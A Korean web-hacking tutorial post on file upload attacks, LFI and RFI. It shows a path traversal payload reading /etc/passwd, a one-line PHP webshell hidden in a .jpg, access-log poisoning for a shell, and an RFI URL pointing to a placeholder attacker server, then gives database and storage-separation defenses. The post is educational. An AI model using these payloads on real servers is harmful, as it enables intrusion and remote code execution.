본문 바로가기
WEB HACKING/웹 해킹[이론]

File Upload 공격(3)

by madevth 2021. 12. 18.
반응형

두 차례에 걸쳐 File Upload 공격과 몇 가지 대응 방안의 우회 방안까지 알아보았다.

마지막으로, File Upload 공격에 대한 추가적인 내용과 LFI, RFI 그리고 근본적인 대응 방안에 대해 알아보자.

 

ⓛ 만약 파일 업로드 기능이 없다면?

웹 페이지에 파일 업로드 기능이 없다면 File Upload 공격을 사용할 수 있을까?

결론부터 말하자면, 웹에서 해당 기능을 제공하고 있지 않더라도, 업로드 공격을 할 수 있는 방법이 있다.

 

웹 디렉토리 및 파일을 스캔하는 도구인 dirbuster를 사용하면 웹 서버에서 사용하고 있는 파일 이름을 찾을 수 있다.

일반적으로 로그인 페이지는 login.php, 게시판 페이지는 board.php로 이름 짓듯이, 사람들이 사용할 법한 이름을 리스트로 만들어둔 후 BruteForce 기법을 사용해서 찾아주는 도구이다.

웹에서 사용하고 있는 추가 파일을 알았다면, BurpSuite을 사용해서 해당 폴더 및 파일에서 사용하는 웹 메소드를 확인한다. HTTP 요청 method에는 GET과 POST 뿐만 아니라 PUT, DELETE, OPTIONS 등 많은 요청 방식이 있는데, OPTIONS로 해당 요청에서 사용할 수 있는 메소드를 확인할 수 있다.  따라서 OPTIONS를 통해 확인한 사용 가능한 메소드 중 PUT이 있다면, PUT을 이용하여 경로에 파일을 집어넣을 수 있다.

 

② LFI, RFI

LFI는 Local File Inclusion의 약자로, 공격 대상 서버에 존재하는 파일들을 실행하여 정보를 탈취하는 취약점이고,

RFI는 Remote File Inclusion의 약자로, 외부 서버에 있는 파일을 업로드하여 공격하는 취약점이다.

 

File Inclusion 공격은 사용자의 입력을 받아서 파일을 include 시키는 과정에서 별다른 검증을 하지 않기 때문에 발생하는 취약점이다. File Inclusion의 대표적인 예시 중 하나는 한글에서 영어 페이지로 변환할 때 URL의 끝 부분에 lang=en가 붙는 경우이다.

 

include는 파일을 불러오고 실행하는 함수이다.

include($_GET['url']);

만약 위의 경우처럼, URL에서 서버에 존재하는 파일 이름을 넘긴다면, 해당 파일을 볼 수 있을 것이다.

예를 들어 ?url=../../../../../../../../etc/passwd 를 입력한다면, ../로 인해 언젠가는 루트에 도달할 것이고, etc/passwd로 시스템에 등록된 사용자의 정보를 탈취할 수 있을 것이다.

 

만약 서버의 파일을 아무거나 하나 볼 수 있다면 어떤 파일을 보는 것이 공격자의 입장에서 효율적일까?

특정 페이지가 소스코드를 볼 수 있다면, 구현 방식을 알 수 있으므로 페이지의 취약점을 찾기가 쉬울 것이고, 로그인 페이지와 같이 DB와의 연결이 필요한 기능이 포함된 페이지에서는 DB 계정 정보도 확인할 수 있을 것이다.

하지만 include는 1) 파일을 가져와서 붙여주고 2) 서버 측 코드를 실행해주기 때문에 소스코드를 볼 수 없고 실행된 화면만 볼 수 있다.

 

[LFI로 쉘 획득하기]

1) 파일 업로드 공격 이용하기

지난 포스팅에서 File Signature 검증을 피하기 위해 hex 파일의 끝 부분에 <?php system($_GET['cmd']); ?>를 붙이고 업로드하는 방식에 대해 언급했는데, 그 파일의 확장자는 .php였다. 하지만 그냥 .jpg 파일로 올리면 어떻게 될까?

만약 include($_GET ['url'])와 같이 입력을 받는 부분이 존재한다면 ?url=webshell.jpg&cmd=ls와 같이 접근이 가능하다. include를 실행한 파일은 php 파일이므로, 해당 부분이 php로 실행된다.

?url=webshell.jpg&amp;cmd=ls

 

물론 기존의 파일 업로드 공격처럼 그냥 webshell.jpg 경로로 들어간다면, 쉘을 획득할 수 없다.

 

2) Access log 활용하기

터미널에서 다음과 같이 입력하면, access.log 파일 경로를 찾을 수 있다.

$ find / -name access.log 2>/dev/null

/var/log/apache2/access.log 경로에서 찾을 수 있었는데, 이 파일을 확인해보면 내가 접속한 로그 기록을 확인할 수 있다. 방금 webshell.jpg를 통해 쉘을 획득하는 과정에 대해 설명하기 위해 ?url=webshell.jpg&cmd=ls 같은 경로에 접속했는데, 그 기록도 확인할 수 있다.

이 접속 기록을 사용해도, 쉘을 획득할 수 있다.

위와 같이 접속한다면, access.log에 위의 기록이 남을 것이다.

따라서 mainpage.php?url=../../../log/apache2/access.log&cmd=pwd와 같은 방식으로 access.log에 접속한다면

webshell.jpg와 같은 원리로 php 코드가 실행될 것이다. (access.log는 Permission 문제를 해결해야 접속 가능하다.)

 

[RFI]

RFI는 간단하다.

?page=http://공격자의서버

위와 같은 형태로 공격자가 준비해 둔 악성 파일을 바로 실행시킬 수 있다.

 

③ 근본적인 대응 방안

파일 업로드 취약점의 근본적인 해결 방안은  무엇일까?

1) DB에서 파일을 관리

우선 파일을 DB에서 관리해야 한다.

File ID Path File name
1 /upload/ olaf.jpg
2 /upload/ christmas.jpg

위와 같이 DB에 테이블을 만들어두면, /olaf.jpg와 같은 파일의 이름이 아닌, ?fileId=1과 같은 방식으로 접근하게 된다. 따라서 파일이 존재하는 경로를 알 수 없게 된다. 

 

2) 실제 저장되는 곳을 웹에서 분리

NAS(Network Attached Storage) 서버를 따로 두고 파일을 저장한 후, 해당 서버에는 php 실행 프로그램을 설치하지 않는다면 악성 파일이 업로드되었고, 경로를 알았다고 하더라도 해당 파일이 실행되지 않기 때문에 파일 업로드 공격을 막을 수 있다.

반응형

'WEB HACKING > 웹 해킹[이론]' 카테고리의 다른 글

인증, 인가 취약점  (0) 2021.12.26
File Download 공격  (0) 2021.12.21
File Upload 공격(2)  (0) 2021.12.12
File Upload 공격  (0) 2021.12.11
CSRF : Cross-Site Request Forgery  (0) 2021.11.26

댓글